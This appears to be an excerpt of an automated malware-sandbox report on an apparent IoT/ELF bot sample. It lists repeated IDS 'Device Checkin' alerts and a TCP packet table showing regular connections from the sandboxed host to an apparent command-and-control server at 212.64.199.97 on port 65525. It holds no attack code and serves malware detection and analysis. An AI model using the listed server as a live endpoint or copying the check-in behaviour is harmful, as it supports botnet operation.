2025-01-03T08:07:45.749633+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53110	212.64.199.97	65525	TCP
2025-01-03T08:07:47.533355+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53112	212.64.199.97	65525	TCP
2025-01-03T08:07:49.335663+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53114	212.64.199.97	65525	TCP
2025-01-03T08:07:51.126464+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53116	212.64.199.97	65525	TCP
2025-01-03T08:07:52.909442+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53118	212.64.199.97	65525	TCP
2025-01-03T08:07:54.689047+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53120	212.64.199.97	65525	TCP
2025-01-03T08:07:56.490755+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53122	212.64.199.97	65525	TCP
2025-01-03T08:07:58.306171+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53124	212.64.199.97	65525	TCP
2025-01-03T08:08:00.101561+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53126	212.64.199.97	65525	TCP
2025-01-03T08:08:01.871739+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53128	212.64.199.97	65525	TCP
2025-01-03T08:08:03.662774+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53130	212.64.199.97	65525	TCP
2025-01-03T08:08:05.433362+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53132	212.64.199.97	65525	TCP
2025-01-03T08:08:07.199733+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53134	212.64.199.97	65525	TCP
2025-01-03T08:08:08.999059+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53136	212.64.199.97	65525	TCP
2025-01-03T08:08:10.785425+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53138	212.64.199.97	65525	TCP
2025-01-03T08:08:12.584267+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53140	212.64.199.97	65525	TCP
2025-01-03T08:08:14.362441+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53142	212.64.199.97	65525	TCP
2025-01-03T08:08:16.162812+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53144	212.64.199.97	65525	TCP
2025-01-03T08:08:17.936470+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53146	212.64.199.97	65525	TCP
2025-01-03T08:08:19.705293+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53148	212.64.199.97	65525	TCP
2025-01-03T08:08:21.487004+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53150	212.64.199.97	65525	TCP
2025-01-03T08:08:23.268761+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53152	212.64.199.97	65525	TCP
2025-01-03T08:08:25.102485+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53154	212.64.199.97	65525	TCP
2025-01-03T08:08:26.931516+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53156	212.64.199.97	65525	TCP
2025-01-03T08:08:28.735730+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53158	212.64.199.97	65525	TCP
2025-01-03T08:08:30.521495+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53160	212.64.199.97	65525	TCP
2025-01-03T08:08:32.295205+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53162	212.64.199.97	65525	TCP
2025-01-03T08:08:35.253747+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53164	212.64.199.97	65525	TCP
2025-01-03T08:08:37.034998+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53166	212.64.199.97	65525	TCP
2025-01-03T08:08:38.877782+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53168	212.64.199.97	65525	TCP
2025-01-03T08:08:40.667942+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53170	212.64.199.97	65525	TCP
2025-01-03T08:08:42.474751+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53172	212.64.199.97	65525	TCP
2025-01-03T08:08:44.392704+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53174	212.64.199.97	65525	TCP
2025-01-03T08:08:46.181915+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53176	212.64.199.97	65525	TCP
2025-01-03T08:08:47.986022+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53178	212.64.199.97	65525	TCP
2025-01-03T08:08:49.766745+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53180	212.64.199.97	65525	TCP
2025-01-03T08:08:51.537362+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53182	212.64.199.97	65525	TCP
2025-01-03T08:08:53.318137+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53184	212.64.199.97	65525	TCP
2025-01-03T08:08:55.120234+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53186	212.64.199.97	65525	TCP
2025-01-03T08:08:56.917042+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53188	212.64.199.97	65525	TCP
2025-01-03T08:08:58.713479+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53190	212.64.199.97	65525	TCP
2025-01-03T08:09:00.493040+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53192	212.64.199.97	65525	TCP
2025-01-03T08:09:02.310471+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53194	212.64.199.97	65525	TCP
2025-01-03T08:09:04.080139+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53196	212.64.199.97	65525	TCP
2025-01-03T08:09:05.844933+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53198	212.64.199.97	65525	TCP
2025-01-03T08:09:07.634802+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53200	212.64.199.97	65525	TCP
2025-01-03T08:09:09.412786+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53202	212.64.199.97	65525	TCP
2025-01-03T08:09:11.218146+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53204	212.64.199.97	65525	TCP
2025-01-03T08:09:12.985581+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53206	212.64.199.97	65525	TCP
2025-01-03T08:09:14.792385+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53208	212.64.199.97	65525	TCP
2025-01-03T08:09:16.600936+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53210	212.64.199.97	65525	TCP
2025-01-03T08:09:18.395833+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53212	212.64.199.97	65525	TCP
2025-01-03T08:09:20.183020+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53214	212.64.199.97	65525	TCP
2025-01-03T08:09:21.976266+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53216	212.64.199.97	65525	TCP
2025-01-03T08:09:23.764920+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53218	212.64.199.97	65525	TCP
2025-01-03T08:09:25.571374+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53220	212.64.199.97	65525	TCP
2025-01-03T08:09:27.351290+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53222	212.64.199.97	65525	TCP
2025-01-03T08:09:29.153385+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53224	212.64.199.97	65525	TCP
2025-01-03T08:09:30.943235+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53226	212.64.199.97	65525	TCP
2025-01-03T08:09:32.724063+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53228	212.64.199.97	65525	TCP
2025-01-03T08:09:34.516675+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53230	212.64.199.97	65525	TCP
2025-01-03T08:09:36.309909+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53232	212.64.199.97	65525	TCP
2025-01-03T08:09:38.081834+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53234	212.64.199.97	65525	TCP
2025-01-03T08:09:39.882353+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53236	212.64.199.97	65525	TCP
2025-01-03T08:09:41.643495+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53238	212.64.199.97	65525	TCP
2025-01-03T08:09:43.407230+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53240	212.64.199.97	65525	TCP
2025-01-03T08:09:45.192837+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53242	212.64.199.97	65525	TCP
2025-01-03T08:09:46.991609+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53244	212.64.199.97	65525	TCP
2025-01-03T08:09:48.780867+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53246	212.64.199.97	65525	TCP
2025-01-03T08:09:50.573802+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53248	212.64.199.97	65525	TCP
2025-01-03T08:09:52.346631+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53250	212.64.199.97	65525	TCP
2025-01-03T08:09:54.142397+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53252	212.64.199.97	65525	TCP
2025-01-03T08:09:55.946177+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53254	212.64.199.97	65525	TCP
2025-01-03T08:09:57.742761+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53256	212.64.199.97	65525	TCP
2025-01-03T08:09:59.521183+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53258	212.64.199.97	65525	TCP
2025-01-03T08:10:01.304645+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53260	212.64.199.97	65525	TCP
2025-01-03T08:10:03.086413+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53262	212.64.199.97	65525	TCP
2025-01-03T08:10:04.863674+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53264	212.64.199.97	65525	TCP
2025-01-03T08:10:06.648905+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53266	212.64.199.97	65525	TCP
2025-01-03T08:10:08.427928+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53268	212.64.199.97	65525	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 3, 2025 08:06:31.363650084 CET	39258	443	192.168.2.23	34.249.145.219
Jan 3, 2025 08:06:31.368573904 CET	443	39258	34.249.145.219	192.168.2.23
Jan 3, 2025 08:06:31.368632078 CET	39258	443	192.168.2.23	34.249.145.219
Jan 3, 2025 08:06:31.368921995 CET	39258	443	192.168.2.23	34.249.145.219
Jan 3, 2025 08:06:31.373739004 CET	443	39258	34.249.145.219	192.168.2.23
Jan 3, 2025 08:06:32.716558933 CET	53030	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:32.721487999 CET	65525	53030	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:32.721544027 CET	53030	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:32.722717047 CET	53030	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:32.727493048 CET	65525	53030	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:34.510534048 CET	65525	53030	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:34.510963917 CET	53030	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:34.511409044 CET	53032	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:34.515836954 CET	65525	53030	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:34.516268015 CET	65525	53032	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:34.516325951 CET	53032	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:34.516340017 CET	53032	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:34.521138906 CET	65525	53032	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:35.470839024 CET	43928	443	192.168.2.23	91.189.91.42
Jan 3, 2025 08:06:36.295804024 CET	65525	53032	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:36.295975924 CET	53032	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:36.296451092 CET	53034	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:36.300875902 CET	65525	53032	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:36.301245928 CET	65525	53034	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:36.301291943 CET	53034	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:36.301307917 CET	53034	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:36.306052923 CET	65525	53034	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:38.067523003 CET	65525	53034	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:38.067801952 CET	53034	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:38.068240881 CET	53036	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:38.072663069 CET	65525	53034	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:38.073036909 CET	65525	53036	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:38.073084116 CET	53036	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:38.073100090 CET	53036	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:38.077862024 CET	65525	53036	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:39.852807999 CET	65525	53036	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:39.853050947 CET	53036	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:39.853816986 CET	53038	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:39.857898951 CET	65525	53036	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:39.858624935 CET	65525	53038	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:39.858671904 CET	53038	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:39.858699083 CET	53038	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:39.863514900 CET	65525	53038	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:40.846285105 CET	42836	443	192.168.2.23	91.189.91.43
Jan 3, 2025 08:06:41.630862951 CET	65525	53038	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:41.631143093 CET	53038	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:41.631800890 CET	53040	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:41.635981083 CET	65525	53038	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:41.636620045 CET	65525	53040	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:41.636789083 CET	53040	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:41.636836052 CET	53040	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:41.641659021 CET	65525	53040	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:43.411180973 CET	65525	53040	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:43.411494970 CET	53040	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:43.411974907 CET	53042	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:43.416328907 CET	65525	53040	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:43.416771889 CET	65525	53042	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:43.416865110 CET	53042	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:43.416918039 CET	53042	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:43.421631098 CET	65525	53042	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:45.201381922 CET	65525	53042	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:45.201809883 CET	53042	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:45.202321053 CET	53044	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:45.206594944 CET	65525	53042	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:45.207140923 CET	65525	53044	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:45.207227945 CET	53044	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:45.207247019 CET	53044	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:45.212054014 CET	65525	53044	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:46.975841999 CET	65525	53044	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:46.976290941 CET	53044	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:46.976774931 CET	53046	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:46.981228113 CET	65525	53044	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:46.981584072 CET	65525	53046	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:46.981678009 CET	53046	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:46.981678009 CET	53046	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:46.986536980 CET	65525	53046	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:49.692493916 CET	65525	53046	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:49.692701101 CET	65525	53046	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:49.692784071 CET	53046	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:49.692784071 CET	53046	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:49.692827940 CET	65525	53046	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:49.692888975 CET	53046	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:49.693043947 CET	65525	53046	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:49.693080902 CET	53046	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:49.693200111 CET	53048	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:49.697715998 CET	65525	53046	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:49.698049068 CET	65525	53048	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:49.698101044 CET	53048	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:49.698122025 CET	53048	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:49.702955008 CET	65525	53048	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:51.459856033 CET	65525	53048	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:51.460197926 CET	53048	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:51.460768938 CET	53050	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:51.465173006 CET	65525	53048	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:51.465610981 CET	65525	53050	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:51.465708017 CET	53050	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:51.465715885 CET	53050	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:51.470555067 CET	65525	53050	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:52.754676104 CET	443	39258	34.249.145.219	192.168.2.23
Jan 3, 2025 08:06:52.754882097 CET	39258	443	192.168.2.23	34.249.145.219
Jan 3, 2025 08:06:52.759746075 CET	443	39258	34.249.145.219	192.168.2.23
Jan 3, 2025 08:06:53.229396105 CET	65525	53050	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:53.229612112 CET	53050	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:53.230164051 CET	53052	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:53.234453917 CET	65525	53050	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:53.235049009 CET	65525	53052	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:53.235116959 CET	53052	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:53.235116959 CET	53052	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:53.239974022 CET	65525	53052	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:55.015083075 CET	65525	53052	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:55.015475035 CET	53052	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:55.016051054 CET	53054	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:55.020364046 CET	65525	53052	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:55.020849943 CET	65525	53054	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:55.020950079 CET	53054	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:55.020950079 CET	53054	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:55.025805950 CET	65525	53054	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:56.792157888 CET	65525	53054	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:56.792618990 CET	53054	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:56.793384075 CET	53056	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:56.797461033 CET	65525	53054	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:56.798218966 CET	65525	53056	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:56.798276901 CET	53056	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:56.798290968 CET	53056	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:56.803164005 CET	65525	53056	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:56.971842051 CET	42516	80	192.168.2.23	109.202.202.202
Jan 3, 2025 08:06:56.971842051 CET	43928	443	192.168.2.23	91.189.91.42
Jan 3, 2025 08:06:58.592914104 CET	65525	53056	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:58.593100071 CET	53056	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:58.593641043 CET	53058	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:58.599180937 CET	65525	53056	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:58.599190950 CET	65525	53058	212.64.199.97	192.168.2.23
Jan 3, 2025 08:06:58.599230051 CET	53058	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:58.599251986 CET	53058	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:06:58.604351044 CET	65525	53058	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:01.156610012 CET	65525	53058	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:01.156795025 CET	53058	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:01.156862974 CET	65525	53058	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:01.156927109 CET	53058	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:01.157131910 CET	65525	53058	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:01.157226086 CET	53058	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:01.157574892 CET	53060	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:01.161680937 CET	65525	53058	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:01.162328959 CET	65525	53060	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:01.162369013 CET	53060	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:01.162405014 CET	53060	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:01.167160034 CET	65525	53060	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:02.935230017 CET	65525	53060	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:02.935399055 CET	53060	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:02.935956955 CET	53062	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:02.940275908 CET	65525	53060	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:02.940828085 CET	65525	53062	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:02.940872908 CET	53062	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:02.940891027 CET	53062	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:02.945714951 CET	65525	53062	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:04.721565962 CET	65525	53062	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:04.721745968 CET	53062	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:04.722286940 CET	53064	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:04.726516962 CET	65525	53062	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:04.727062941 CET	65525	53064	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:04.727111101 CET	53064	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:04.727129936 CET	53064	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:04.731898069 CET	65525	53064	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:06.489790916 CET	65525	53064	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:06.490176916 CET	53064	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:06.491071939 CET	53066	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:06.495070934 CET	65525	53064	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:06.495889902 CET	65525	53066	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:06.495934010 CET	53066	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:06.495948076 CET	53066	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:06.500674963 CET	65525	53066	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:07.210423946 CET	42836	443	192.168.2.23	91.189.91.43
